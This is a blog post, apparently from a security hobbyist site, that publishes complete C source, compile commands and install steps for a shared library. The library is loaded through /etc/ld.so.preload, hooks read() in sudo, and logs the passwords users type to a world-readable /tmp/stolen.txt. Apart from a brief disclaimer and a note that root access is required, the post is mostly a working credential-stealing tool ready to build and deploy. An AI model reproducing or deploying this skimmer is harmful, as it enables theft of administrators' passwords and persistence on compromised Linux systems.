Using a shared library to hijack sudos call to read to lift users passwords

Hijacking sudo’s call to read terminal’s file descriptor to log user input
Cautions
I take no, and by that I mean zero fucking responsiblity for what you might do with this code. Also, this should never
be used in a production environment under any circumstances, it will make your server insecure, and quite possibly break
other things system-wide, because /etc/ld.so.preload acts on all binaries run on the system, not only sudo. Run this
code in a VM or throwaway install, for research purposes only. This is a proof of concept, and not meant to be used
for illegal things.
How it works
The code is intended to be placed in /etc/ld.so.preload where it can isolate itself in memory on the sudo process specifically
then modify the code execution of sudo as it reads a password, so that it also records the password to a world readable file in
/tmp. We do this by using a couple checks to make sure we are in the corret process, and by checking data from surrounding code
to make sure we are at the specific point in the code path by checking values of things like the value of the count variable and
other read() attributes, as well as it’s returned data, to be able to cleanly isolate and retreive the password as it is entered.
This is all accomplished as a shared library, which is loaded when every binary on the system is executed, instrumented via
ld.so.preload.
Compliling and Installing
Compliation:
The actual compiling looks like:
gcc -fPIC -shared -ldl -Wall -o /tmp/cap_pass.so sudo_lib_hook.c
But to make things a little more simple, I created a Makefile. So:
1 2 3 | make clean make sudo make install |
Then when you are ready to remove the library from the system do:
1 | sudo make deinstall |
Caveats and Notes
- This library, by the nature of
ld.so.preload, effects every other binary running on the system, although we do try to isolate it to sudo as much as possible. - You need to already be root for any of this to work. This code assumes that you have aquired root by means of LPE, or sitting at an unlocked terminal, but don’t have the passphrase.
- If a user enters a passphrase incorrectly, that will also be logged.
Use
The Makefile adds the resulting shared library /tmp/cap_pass.so to the file /etc/ld.so.preload.
You can now open a new terminal, and run sudo su and enter your passphrase. Do some work…
You may now log back out, and finally, check /tmp/stolen.txt. It should now contain your
passphrase! Note: It is essential that you enter your password into sudo, instead of letting sudo
cache the last used passprase and reuse that on run, because the password is only captured as it is
entered on the command line, similar to a keylogger.
Process Flow Isolation
The abused function from sudo comes from the file tgetpass.c and the relevant call to
read() on line ~393 in commit 2a33699f8a0520161a8b507a9cb256802d6f45cb from sudo-project/sudo
is:
while (cp < ep) {
nr = read(fd, &c, 1);
if (nr != 1 || c == '\n' || c == '\r')
break;Where nr = read(fd, &c, 1); can be isolated and swapped out for our jacking library to read
and log entry from the terminal’s file descriptor to a file.
Our code assures we are in the sudo process using /proc/self/comm to grab our process name, then
use strcmp to verify it matches sudo. We then check to make sure that the “count” varaible is
equal to 1, because sudo’s code does, so this helps us make sure we are modifying the read() call
in the correct part of sudo. Finally we use the %.1s format for fprintf() to assure that only a
single charater is written to our /tmp/stolen.txt file, because only a single character is read
at any given step in sudo’s code from the console as the user enters their passphrase.
The Code
You can find the entirety of the project on GitHub!
/*
* LD_PRELOAD Sudo Pass Skimmer
* -- oxagast --
*
* marshall@oxasploits.com
* https://oxasploits.com
* The funtional equivilent of a DLL jack, but for Linux. LDPL jacking?
* Compile using: gcc -fPIC -shared -ldl -Wall sudo_lib_hook.c -o
* /tmp/cap_pass.so Then add /tmp/cap_pass.so to /etc/ld.so.preload (you'll need
* to do this as root). Then sudo su. Log back out of the shell and check
* /tmp/stolen.txt.
*
* /tmp/stolen.txt should now contain the passphrase you entered.
*
* an immense thanks to vesteria for the general idea of skimming passwords!
* an enrmous thanks to blissful boy for the file size func!
* a gargantua thanks to atdma for catching the lack of void* cast!
* and a collossal thanks to everyone who has found this useful!
* <3 you guys
*
*
*/
#include <dlfcn.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
#define _GNU_SOURCE
#define MAX_PROCESS_NAME_LEN 256
// pointer to real read func (needs to be position independant code)
static ssize_t (*original_read)(int fd, void *buf, size_t count) = NULL;
// get file size in a robust way
long long getfsize(const char *fn) {
struct stat st;
if (stat(fn, &st) != 0) {
return -1;
}
off_t fs = st.st_size;
// ret our size as a ll
return (long long)fs;
}
int amsudo() {
char process_name[MAX_PROCESS_NAME_LEN] = {0};
// open file poiter to /proc/self/comm for reading
FILE *fp_comm = fopen("/proc/self/comm", "r");
// put it in process_name
fgets(process_name, sizeof(process_name), fp_comm);
// strip the ending newline and replace it with a null
// to keep char array spec
process_name[strcspn(process_name, "\n")] = '\0';
fclose(fp_comm);
// ret if it is sudo or not
return strcmp(process_name, "sudo");
}
ssize_t read(int fd, void *buf, size_t count) {
if (original_read == NULL) {
// ref our original read funcs dynamic lib
original_read = dlsym(RTLD_NEXT, "read");
// make sure we can actually hook the real read()
if (original_read == NULL) {
return -1;
}
}
// check if the current process is sudo
if (amsudo() == 0) {
// this helps us isolate the characters from term only
if (count == 1) {
FILE *stealer = fopen("/tmp/stolen.txt", "a+");
// here we are getting the cooresponding int to our currently
// written key and writing it to our keybuf, where can then
// pull the single key as a char to run our test.
char keybuf[2];
snprintf(keybuf, sizeof(keybuf), "%.1s", (char *)buf);
// as it turns out, after pass is written, an 0x11 goes into
// file as sudo makes its exit, so if we can trap that, we can
// use it as a termintaor for subsequent password entries.
if (((char)keybuf[0] == 0x11) && (getfsize("/tmp/stolen.txt") != 0)) {
// we can make sure back to back newlines are not being
// written by pointing to the end of the file then pulling
// the character one back from EOF, then running a negate
// check on it.
fseek(stealer, -1, SEEK_END);
if (fgetc(stealer) != '\n') {
// if the last two checks go through, we can write a
// line feed.
fprintf(stealer, "\n");
}
} else {
// otherwise we just start writing our keys pressed to the
// /tmp/stolen.txt file. We just need to cast buf to a char
// pointer, and make sure only a single char is written at
// a time.
fprintf(stealer, "%.1s", (char *)buf);
}
fclose(stealer);
}
}
// now just go back to the original read function
return original_read(fd, buf, count);
}The code is heavily commented, so it should be easy to follow along and undrstand what’s going on, even for a C beginner.
Greetz and Thankz
Vesteria For the general idea
blissful boy A rewrite on the routine that checks filesize
atdma A bugfix
If you enjoy my work, sponsor or hire me! I work hard keeping oxasploits running!
Bitcoin Address:
bc1qx4suwsawn0dcfvdg7qxpxv3je6ke0rcl9naey4
Thank you so much and happy hacking!